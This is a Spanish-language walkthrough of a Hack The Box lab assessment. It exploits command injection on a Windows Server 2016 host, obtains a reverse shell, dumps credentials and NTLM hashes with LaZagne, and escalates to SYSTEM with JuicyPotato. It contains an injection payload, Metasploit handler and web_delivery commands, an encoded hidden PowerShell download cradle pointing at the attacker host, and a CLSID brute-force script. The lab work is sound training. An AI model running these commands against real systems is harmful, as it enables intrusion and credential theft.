Durante una prueba de penetración contra la organización INLANEFREIGHT, se encuentra con un host Windows Server no perteneciente a un dominio que presenta una vulnerabilidad de Command Injection sin parchear. Tras establecerse, encuentra credenciales que podrían ser útiles para el movimiento lateral posterior en la evaluación y descubre otra vulnerabilidad que puede aprovecharse para escalar privilegios en el host objetivo.
Para esta evaluación, suponga que su cliente tiene un programa de gestión de parches/vulnerabilidades relativamente maduro pero no cuenta con suficiente personal y desconoce muchas de las mejores prácticas en torno a la gestión de configuración, lo que podría dejar a un host expuesto a una escalada de privilegios.
Enumere el host (comenzando con un escaneo de puertos con Nmap para identificar puertos/servicios accesibles), aproveche la falla de inyección de comandos para obtener acceso de reverse shell, escale privilegios a nivel NT AUTHORITY\SYSTEM o similar y responda las preguntas a continuación para completar esta parte de la evaluación.
Objetivo: 10.129.225.46
Pregunta 1
¿Qué dos KB están instalados en el sistema de destino? (Formato de respuesta: 3210000 y 3210060)
El puerto 80 aloja una aplicación web "DEV Connection Tester". Posible vector de ataque.
La información de RDP indica que el sistema es Windows 10.0.14393, lo que corresponde a Windows Server 2016.
Command Inyection
La web tiene un input básico y un CTA de "Ping Host". Al probar el payload básico 127.0.0.1/whoami y capturarlo con BurpSuite observamos que el mensaje de error "Ping request could not find host 127.0.0.1;whoami" indica que el parámetro addr se está ejecutando dentro de un comando ping, pero el separador ; no está funcionando para ejecutar comandos adicionales.
Después de probar varios payloads encuentro uno que funciona: 127.0.0.1 | whoami
Reverse Shell
Ahora que hemos identificado el Command Inyection vamos a conseguir una shell.
Sustituímos whoami por el payload en el input y le damos enter:
Hotfixes disponibles
Para responder a la pregunta 1, buscaremos los parches instalados en el sistema:
Pregunta 2
Busque la contraseña de la cuenta ldapadmin en algún lugar del sistema.
En HTB esta pregunta debería ser la tercera, ya que necesitamos elevar privilegios para encontrarlo. Vamos a la pregunta 3 y después volvemos a esta.
Enumeración de usuarios
Vemos que el usuario ldapadmin no está presente en el sistema:
LaZagne
Vamos a enviar el binario de LaZagne.exe en la máquina objetivo para extraer posibles credenciales almacenadas:
Tenemos las creedenciales en plano de la cuenta ldapadmin y el hash del Administrador!
Pregunta 3
Escale privilegios y envíe el contenido del archivo flag.txt en el Escritorio del administrador.
Privilegios del usuario
Tenemos el privilegio SeImpersonatePrivilege habilitado, lo que significa que podemos explotar un potato attack (JuicyPotato, RoguePotato, PrintSpoofer....) para elevar privilegios a NT AUTHORITY\SYSTEM.
Verificar versión de Windows
El sistema es Windows Server 2016, por lo que usaremos JuicyPotato.
Si subimos este shell.exe y lo ejecutamos a través de Juicy Potato nos devolverá un Meterpreter como SYSTEM, con el que podemos establecernos mucho mejor en el sistema.
Transferencia de binarios a la máquina víctima
Debemos colocarlos en un directorio con permisos de ejecución como C:\windows\Temp
Binarios en el objetivo
Iniciar un listener multi handler en Kali
Ejecutar JuicyPotato
Al ejecutarlo veremos que nos da un error ya que necesitamos proporcionarle un CLSID válido:
Con la opción -b podemos hacer un bruteforce de CLSIDs para encontrar uno válido:
Esta técnica genera más de 1000 procesos, debemos usarla con precaución.
Podemos ejecutar el siguiente script para buscar CLSIDs potencialmente válidos, para no generar tanto ruido en la infraestructura (ni bloquear los puertos):
PS C:\Users\Administrator\Desktop> C:\windows\Temp\LaZagne.exe all
C:\windows\Temp\LaZagne.exe all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
[+] System masterkey decrypted for 1ef7b31a-39fd-4309-877e-c354d5a19506
[+] System masterkey decrypted for 644d306e-3a7a-434b-bd62-0b81ab91e5b6
[+] System masterkey decrypted for 6977da93-ec45-468e-8a19-97d9865fb2e6
########## User: SYSTEM ##########
------------------- Hashdump passwords -----------------
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
mrb3n:1000:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1001:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
------------------- Lsa_secrets passwords -----------------
DPAPI_SYSTEM
0000 01 00 00 00 1D 35 B6 2C 53 EC 28 92 E8 6D D5 BE .....5.,S.(..m..
0010 C7 4C 78 54 10 66 34 3A 70 3F 77 AF 3F 11 FA 7F .LxT.f4:p?w.?...
0020 03 8D 79 6A CC 1A FF AC 7C 0E DD D3 ..yj....|...
NL$KM
0000 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0010 99 4F 5D 6C 55 B9 EC B5 0C 0B D8 75 A2 88 93 E4 .O]lU......u....
0020 C0 D9 EF C5 0D B9 40 57 92 39 9A BE 9D A5 83 ED ......@W.9......
0030 11 CB 71 7C AB 32 CD 11 FD 7A ED 2E AB BE F1 62 ..q|.2...z.....b
0040 58 F2 1D 8A AC 9F AC FB 32 17 D8 EE B3 BD A5 DC X.......2.......
0050 E2 D9 82 77 4A A3 16 D6 F3 B5 E0 28 13 72 C7 2E ...wJ......(.r..
########## User: Administrator ##########
------------------- Apachedirectorystudio passwords -----------------
[+] Password found !!!
Host: dc01.inlanefreight.local
Port: 389
Login: ldapadmin
Password: car3ful_st0rinG_******
AuthenticationMethod: SIMPLE
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\windows\system32\inetsrv> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
PS C:\windows\Temp> ls
Directory: C:\windows\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/1/2025 5:03 AM 153600 JuicyPotato.exe
-a---- 4/1/2025 5:08 AM 38616 nc.exe
-a---- 4/1/2025 5:03 AM 7168 shell.exe
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.179; set LPORT 443; exploit"
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.14.179
LPORT => 443
[*] Started reverse TCP handler on 10.10.14.179:443
PS C:\windows\system32\inetsrv> C:\windows\Temp\JuicyPotato.exe -l 1337 -p C:\windows\Temp\shell.exe -t *
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 1337
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag.
msfconsole -q -x "use exploit/multi/script/web_delivery; set TARGET 2; set payload windows/x64/meterpreter/reverse_http; set LHOST 10.10.14.179; set LPORT 4443; run"
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://10.10.14.179:4443
[*] Using URL: http://10.10.14.179:8080/WYZepusQSpYoI
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAFEANAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAFEANAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAUQA0AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADkAOgA4ADAAOAAwAC8AVwBZAFoAZQBwAHUAcwBRAFMAcABZAG8ASQAvAHMAMQA2AFYAcgB6AEcAUgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA3ADkAOgA4ADAAOAAwAC8AVwBZAFoAZQBwAHUAcwBRAFMAcABZAG8ASQAnACkAKQA7AA==
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F %%i IN (C:\Users\Public\Windows_Server_2016_Standard\CLSID.list) DO (
echo %%i !port!
C:\Users\Public\JuicyPotatoNG.exe -z -l !port! -c %%i >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)
afsh4ck@kali$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.225.46] 49799
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
c:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 7029-F417
Directory of c:\Users\Administrator\Desktop
08/08/2021 06:54 PM <DIR> .
08/08/2021 06:54 PM <DIR> ..
08/09/2021 06:08 PM 26 flag.txt
1 File(s) 26 bytes
2 Dir(s) 18,932,436,992 bytes free
c:\Users\Administrator\Desktop> type flag.txt
Ev3ry_sysadm1ns_***********!